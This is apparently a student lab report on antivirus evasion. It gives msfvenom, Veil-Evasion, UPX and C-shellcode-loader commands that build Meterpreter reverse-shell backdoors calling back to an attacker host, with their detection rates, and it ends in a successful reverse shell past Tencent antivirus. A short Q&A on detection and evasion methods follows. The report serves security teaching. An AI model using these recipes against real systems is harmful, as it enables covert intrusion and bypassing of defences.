Exp3-免杀原理
一、实验环境
二、实验过程
1. 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- 检测直接生成的后门exe文件(实验二中的后门程序)
检出率为52/70 - 使用Unicode编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.116.132 LPORT=1301 -f exe > backdoor1.exe
检测率为54/70,检出率增加了
- 编码多次,用01位置调换的10
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.116.132 LPORT=1301 -f exe > backdoor2.exe
检出率为53/70
- 利用php格式文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.116.132 LPORT=1301 x> backdoor_php.php
检出率为21/57,检出率大大降低
- 利用jar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.116.132 LPORT=1301 -f jar > backdoor_jar.jar
检出率31/60,检出率仍然比较低
2.veil,加壳工具实践
- 1.安装工具
- 安装wine
参考博客 :https://ywnz.com/linuxjc/4515.html - 安装veil
- 安装wine
sudo apt-get install veil-evasion
cd /usr/share/veil/config
su
vim setup.sh (修改第260行)
veil (开始安装)
之后的界面一直选择默认和next即可
- 2.使用veil工具
veil use evasion //进入Evil— Evasion use c/meterpreter/rev_tcp.py //进入配置界面 set LHOST 192.168.116.132 //设置反弹链接ip,此处为 Kali的ip set LPORT 1301 //设置端口 generate
将exe文件进行检测
检出率为41/70 ,检出率比较高
- 免杀加壳尝试
- 加壳是对相应的资源进行压缩,压缩后仍可运行。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。
upx 20191301veil.exe -o 20191301_veil_upx.exe
检出率为40/69 ,还是比较高的。
- 使用C + shellcode编程
- 使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.132 LPORT=1301 -f c
- 创建c文件,将shellcode放入
vim shellcode_c.c int main() { int (*func)() = (int(*)())buf; func();
- 编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
- 使用msfvenom得到shellcode
检出率34/69 ,降低了一些
- 通过组合应用各种技术实现恶意代码免杀
- 利用python+aes_encrypt
- 使用veil
use Evasion use 28 set LHOST 192.168.116.132 set LPORT 1301 generate cd /var/lib/output/compiled upx backdoor_py3.exe -o backdoor_py_upx.exe
查出来了实验前几步的后门,这次的并没有
- 原理
通过多次的编译和数据加密改变了特征码,让杀软无法匹配hash值。
选做:在杀软开启的情况下,可运行并回连成功
-
- 使用veil生成木马文件,并进行加壳 执行如下命令:
use Evasion
use 28
set LHOST 192.168.116.132
set LPORT 1301
generate
cd /var/lib/output/compiled
upx backdoor_py3.exe -o backdoor_py_upx.exe
检出率33/68 ,和平常的后门没什么区别
- 使用腾讯管家进行检测,版本号15.1.223.01.211
查出来了实验前几步的后门,这次的并没有
- 在主机执行文件,开始攻击
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.116.132 //kali的IP
set LPORT 1301
exploit
run
攻击成功,获得主机的shell控制
三、 基础问题回答
-
3.1 杀软是如何检测出恶意代码的?
- 基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
- 利用启发式恶意软件检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
-
3.2 免杀是做什么?
免杀就是让安插的后门不被杀软发现。 -
3.3 免杀的基本方法有哪些?
-
改变特征码
- 1.如果你手里只有EXE ---> 加壳:压缩壳 加密壳
- 2.有shellcode(像Meterpreter)-- >用encode进行编码,基于payload重新编译生成可执行文件。
- 3.有源代码 ---->用其他语言进行重写再编译(veil-evasion)
-
改变行为
-
- 尽量使用反弹式连接
-
- 使用隧道技术
- 3.加密通讯数据
-
-
-
3.4 开启杀软能绝对防止电脑中恶意代码吗?
不能,这次的选做就是例子,杀软不是绝对安全的
实验体会
这次的实验和杀软进行了联动,让我深刻的意识到了,我的电脑防护有着很大的漏洞,这次的实验给我提醒,不要过于相信杀软,个人的防护意识也要到位才行。
在本次实验中安装环境比完成实验的时间还要长,但是也是进一步的在接触一些攻击的软件,还是很有收获的。